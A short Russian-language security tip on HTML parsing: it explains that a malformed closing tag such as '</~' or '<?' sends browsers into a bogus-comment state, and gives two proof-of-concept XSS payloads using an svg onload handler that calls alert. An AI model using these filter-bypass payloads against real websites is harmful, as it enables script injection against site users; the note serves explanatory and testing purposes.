Если закрывающий HTML-тег не соответствует формату </[A-Za-z] (например, </~), браузеры переходят в состояние Bogus Comment и игнорируют всё до следующего символа >.

<? ведёт себя точно так же из-за устаревшей совместимости с PHP/XML. Это значит, что такие XSS-атаки вполне возможны:

</ <a href="><svg/onload=alert(1)>">
<?<a href="><svg/onload=alert(2)>">